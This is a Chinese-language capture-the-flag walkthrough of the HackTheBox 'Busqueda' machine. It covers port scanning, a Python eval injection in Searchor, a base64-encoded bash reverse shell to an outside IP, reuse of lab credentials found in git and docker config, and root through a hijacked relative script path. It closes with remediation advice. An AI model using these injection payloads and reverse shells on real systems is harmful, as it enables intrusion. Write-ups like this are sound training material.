hackthebox Busqueda 2种方法立足
字数 1134 2025-08-24 07:48:10
HTB Busqueda渗透测试教学文档
目标概述
Busqueda是一台容易的Linux机器,主要涉及利用Python Searchor命令行工具中的漏洞。通过该漏洞可以获得用户访问权限,然后通过git配置文件和docker信息发现更多凭证,最终实现权限提升。
初始信息收集
端口扫描
使用nmap进行端口扫描:
nmap -min-rate 1000 -p- 10.129.111.31
结果:
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
47094/tcp filtered unknown
详细服务扫描:
nmap -min-rate 1000 -p22,80 -sV -sC 10.129.111.31
结果:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_ 256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://searcher.htb/
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
域名发现
通过curl检测发现重定向到searcher.htb:
curl -v -s 10.129.111.31
将域名添加到/etc/hosts文件:
10.129.111.31 searcher.htb
Web应用分析
技术栈识别
通过响应头发现:
- 前端服务器:Apache/2.4.52 (Ubuntu)
- 后端框架:Werkzeug/2.1.2 Python/3.10.6
网站功能
网站是一个搜索工具,可以将输入转发到不同搜索引擎。
漏洞利用方法
方法一:Searchor漏洞利用
- 发现Searchor 2.4.0版本存在漏洞
- 查看GitHub修复提交:https://github.com/ArjunSharda/Searchor/pull/130/files
- 漏洞代码分析:
@click.argument("query")
def search(engine, query, open, copy):
try:
url = eval(f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})")
url = Engine[engine].search(query, copy_url=copy, open_web=open)
click.echo(url)
searchor.history.update(engine, query, url)
if open:
问题在于使用了eval函数执行用户输入,导致代码注入。
方法二:Fuzz测试
- 使用Burp抓取搜索请求
- 使用ffuf进行模糊测试:
ffuf -request searcher.req -request-proto http -w /usr/share/seclists/Fuzzing/special-chars.txt
- 发现单引号可以闭合字符串
- 构造Python代码注入:
engine=Accuweather&query=11')%2b import ('os').system('id')%20%23%20
- 获取反弹shell:
echo -n "bash -c 'bash -i >& /dev/tcp/192.11.16.25/9001 0>1&' " |base64
使用base64编码的payload执行:
engine=Accuweather&query=11')%2b import ('os').system('echo YmFzaCAtYyAnYmFzaCAtaSAgID4mICAvZGV2L3RjcC8xOTIuMTEuMTYuMjUvOTAwMSAwPjEmJyAg | base64 -d | bash')%20%23%20
横向移动
发现git凭证
在/var/www/app/.git/config中发现:
[remote "origin"]
url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
密码重用
尝试使用密码jh1usoih2bkjaspwe92登录svc用户成功:
ssh svc@10.129.111.31
权限提升路径
- 检查sudo权限:
sudo -l
发现可以执行:
(root) /usr/bin/python3 /opt/scripts/system-checkup.py *
- 分析docker容器:
sudo python3 /opt/scripts/system-checkup.py docker-ps
- 检查容器配置:
sudo python3 /opt/scripts/system-checkup.py docker-inspect '{{json .Config}}' 9608 |jq .
发现数据库凭证:
"GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh"
- 连接MySQL数据库:
mysql -h 127.0.0.1 -u gitea -pyuiu1hoiu4i5ho1uh gitea
- 查询用户凭证:
select name,email,passwd from user;
-
使用获取的凭证登录Gitea的administrator账号
-
分析system-checkup.py脚本:
elif action == 'full-checkup':
try:
arg_list = ['./full-checkup.sh']
print(run_command(arg_list))
print('[+] Done!')
except:
print('Something went wrong')
exit(1)
- 创建恶意full-checkup.sh:
echo "bash -c 'bash -i >& /dev/tcp/192.11.16.25/9002 0>&1'" > /tmp/full-checkup.sh
chmod +x /tmp/full-checkup.sh
- 执行脚本获取root shell:
sudo python3 /opt/scripts/system-checkup.py full-checkup
修复建议
- 软件更新:及时更新Searchor到最新版本,修复eval漏洞
- 密码策略:
- 避免使用弱密码
- 禁止密码重用
- 实施密码复杂度要求
- 权限控制:
- 限制sudo权限
- 脚本目录设置正确权限
- 使用绝对路径调用脚本
- 安全开发:
- 避免使用eval执行用户输入
- 实施输入验证和过滤
- 使用参数化查询
- 容器安全:
- 限制容器访问敏感信息
- 使用秘密管理工具存储凭证
- 实施最小权限原则
总结
通过本次渗透测试,我们学习了:
- 如何通过代码审计发现eval注入漏洞
- 模糊测试在Web应用安全测试中的应用
- 凭证重用和横向移动技术
- 通过sudo权限和路径劫持实现权限提升
- 容器环境中的信息收集技术